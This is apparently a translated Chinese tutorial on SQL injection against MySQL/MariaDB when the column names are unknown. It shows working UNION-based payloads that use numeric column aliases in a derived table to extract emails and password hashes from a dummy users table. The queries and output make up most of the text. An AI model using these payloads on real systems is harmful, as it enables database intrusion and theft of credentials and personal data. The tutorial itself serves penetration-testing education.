如何在不知道MySQL列名的情況下注入出數據?
介紹
你可能會遇到這樣的情況:SQL注入時,需要從MySQL的某個表中導出某些數據。一般來說,要想導出數據,你必須知道表名、列名,而這兩個名字在某些情況下可能你並不知道。
例如,對於版本小於5.0的MySQL資料庫,以及部分有WAF干擾的版本大於5.0的MySQL資料庫,你就無法輕易獲得表名、列名。
在這種情況下,也許你會放棄,僅僅注入出資料庫名字,證明漏洞存在就結束。
但在這篇文章中,我將展示一種在不知道列名情況下進行的注入。
無列名注入
我和我的隊友@aboul3la一起,創建了一個資料庫環境來模擬被攻擊的目標,並通過大量的嘗試最終找到了一個可行方法。
首先展示一下目標表users
MariaDB [dummydb]> select * from users;
+----+--------------+------------------------------------------+-----------------------------+------------+---------------------+
| id | name | password | email | birthdate | added |
+----+--------------+------------------------------------------+-----------------------------+------------+---------------------+
| 1 | alias | a45d4e080fc185dfa223aea3d0c371b6cc180a37 | [email protected] | 1981-05-03 | 1993-03-20 14:03:14 |
| 2 | accusamus | 114fec39a7c9567e8250409d467fed64389a7bee | [email protected] | 1979-10-28 | 2007-01-20 18:38:29 |
| 3 | dolor | 7f796c9e61c32a5ec3c85fed794c00eee2381d73 | [email protected] | 2005-11-16 | 1992-02-16 04:19:05 |
| 4 | et | aaaf2b311a1cd97485be716a896f9c09aff55b96 | [email protected] | 2015-07-22 | 2014-03-05 22:57:18 |
| 5 | voluptatibus | da16b4d9661c56bb448899d7b6d30060da014446 | [email protected] | 1991-11-22 | 2005-12-04 20:38:41 |
+----+--------------+------------------------------------------+-----------------------------+------------+---------------------+
5 rows in set (0.00 sec)
我們可以看到,這次表的列名有「name」、「password」、「email」、「出birthday」和「added」。
下一步,我們輸入一個注入中經常使用的探明列數的查詢句式
MariaDB [dummydb]> select 1,2,3,4,5,6 union select * from users;
+---+--------------+------------------------------------------+-----------------------------+------------+---------------------+
| 1 | 2 | 3 | 4 | 5 | 6 |
+---+--------------+------------------------------------------+-----------------------------+------------+---------------------+
| 1 | 2 | 3 | 4 | 5 | 6 |
| 1 | alias | a45d4e080fc185dfa223aea3d0c371b6cc180a37 | [email protected] | 1981-05-03 | 1993-03-20 14:03:14 |
| 2 | accusamus | 114fec39a7c9567e8250409d467fed64389a7bee | [email protected] | 1979-10-28 | 2007-01-20 18:38:29 |
| 3 | dolor | 7f796c9e61c32a5ec3c85fed794c00eee2381d73 | [email protected] | 2005-11-16 | 1992-02-16 04:19:05 |
| 4 | et | aaaf2b311a1cd97485be716a896f9c09aff55b96 | [email protected] | 2015-07-22 | 2014-03-05 22:57:18 |
| 5 | voluptatibus | da16b4d9661c56bb448899d7b6d30060da014446 | [email protected] | 1991-11-22 | 2005-12-04 20:38:41 |
+---+--------------+------------------------------------------+-----------------------------+------------+---------------------+
6 rows in set (0.00 sec)
很好,我們可以注意到,查詢結果中的列的名稱從name、password、email、birthdate替換為1、2、3、4、5、6,這主要是因為前面的查詢語句select 1,2,3,4,5,6
。
下一步我們就可以根據查詢結果中的新的列名提取數據,而針對的數據表就是以上的查詢結果。
使用查詢語句select
4from (select 1,2,3,4,5,6 union select * from users)redforce;
你就可以將選出第4列數據,也就是電子郵件地址,
MariaDB [dummydb]> select `4` from (select 1,2,3,4,5,6 union select * from users)redforce;
+-----------------------------+
| 4 |
+-----------------------------+
| 4 |
| [email protected] |
| [email protected] |
| [email protected] |
| [email protected] |
| [email protected] |
+-----------------------------+
6 rows in set (0.00 sec)
然後依次select 3,select 2等等。